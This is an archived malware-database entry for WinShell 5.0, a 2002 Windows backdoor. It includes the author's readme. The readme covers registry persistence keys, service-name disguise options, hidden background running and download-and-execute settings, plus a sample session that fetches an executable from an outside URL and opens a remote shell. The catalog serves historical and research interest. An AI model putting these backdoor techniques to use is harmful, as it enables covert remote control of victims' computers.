Archive Helmet Icon Archive A Reconstructed © MegaSecurity Database

WinShell 5.0

Released 23 years, 10 months ago. June 2002

Copyright © MegaSecurity

By Mr.Janker


WinShell 5.0
Informations
From China
Author Mr.Janker
Family Winshell
Category Remote Access
Version WinShell 5.0
Released Date Jun 2002, 23 years, 10 months ago.
Language Visual C++
Additional Information
Server:
size: 5,920 bytes

port: 5277 TCP

added to registry:
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\WinShell
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\l
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WinShell


tested on Windows XP
September 25, 2005

Author Information / Description
WinShell v5.0 £­ A finished telnet server for windows

Author  : janker


About
=====
WinShell was a telnet server for windows platform. Main program was just a 5k bytes stand-alone executable file, Could run stably without any third dll, Although it was so thin, it had many of  functions, such as custom port, password protect, muti-user logon, NT Service mode, download file£¬user-defined message, special anti-ddos and etc. Detail to see the following:

01. Designed for Windows 9X/ME/NT/2K/XP
02. Just a stand-alone executable file and no setup
03. Support all of the standard telnet client
04. Allow muti-user logon and password authentication
05. Custom port number and other configurable item
06. Run in the background without gui
07. Support service mode in NT system
08. Build-in install and remove
09. Build-in file download
10. Build-in reboot and shutdown
11. Build-in terminate itself remotely
12. Auto download file and execute while starting
13. Special anti-ddos flood attack
14. Support EXE Compress and Protect program

Release Files
=============
winshell.exe      WinShell maker
winshell.exe.sig  Digital sign file
english.txt       English help file
chinese.txt       Chinese help file
janker.asc        Author's public key file

Make WinShell
=============
1. Run winshell.exe.
2. Config the options as you need.
3. Click the button "make".
4. Get your custom winshell and configuration File.

The main options detail as the following: 

Port:
-----
The listening port number, default was 5277.

Password:
---------
The logon key, default was none.

Password Banner:
------------------------
The message of asking password, default was "Password:".

SvcName:
--------
The service name for NT system, default was "WinShell". Example: The service name of ms ftp server was "msftpsvc".

RegKeyName:
-----------
The registry key name for autorun in the win9x/me, default was "WinShell". example:
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"WinShell"="C:\windows\winshell.exe"

DisplayName:
------------
The name of NT service showing in the service list. Example: The display name of ms ftp server was "FTP Publishing Service".

Descripition:
-------------
The service descripition for itself function, supported by 2000/XP, invalid in NT4.0.

AutoInstall:
------------
First try to install itself, then to run.

DownExec:
---------
To use or unuse the download and execute function.

Url Address:
------------
The url of executable file to be downloaded and executed.

Destination Filename:
---------------------
The filename to be saved to the disk, including the path.

Compress WinShellServer:
------------------------
Acquiescently WinShell maker will produce a compressed WinShell Server file for you, Of course, you may unselect and use other external compress and protect program to process the output server.

Command Line
============
WINSHELL.EXE [n][i]
n -port
i -install

Note: 
"n" was port number, the range was 1-65535, and it was firster than custom-port; "i" was to install winshell, just install, not to start winshell.

Start and Stop WinShell
=======================
To start:
---------
1. Application mode: just run winshell.exe, also maybe have command line parameter.
2. NT Service modeb: net start winshell.
To stop:
--------
1. With build-in function.
2. Kill the winshell process.
3. Net stop winshell.

Logon WinShell
==============
C:\>telnet xxx.xxx.xxx.xxx 5277
Password: 1234

WinShell v5.0 (C)2002 janker.org

? for help
CMD>?

i Install
r Remove
p Path
b reBoot
d shutDown
s Shell
x eXit
q Quit

Download:
CMD>http://.../srv.exe

? for help
CMD>

Example:
--------
1. CMD>p
C:\winnt\winshell.exe
2. CMD>http://www.janker.org/hello.exe
Download to C:\winnt\hello.exe...
OK!
3. CMD>s
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

C:\WINNT\>


Janker
CIWSP, CCNA,MCSE
Network Security Consultant

This archive is an almost-complete reconstruction of the legendary Mega Security (also known as Kobayashi), a premier 90s-era "Trojan Database" where malware authors once showcased their work. After a decade offline, the site was brought back in August 2024 by its original creator, MasterRat, who authorized the Malware Gallery to host this modernized, searchable version of the collection. While the original site remains available for those seeking a nostalgic, old-school experience, we are proud to continue its legacy here. Full credit and thanks go to MasterRat and the retired Mega Security staff for their years of dedicated work in cataloging these historical samples.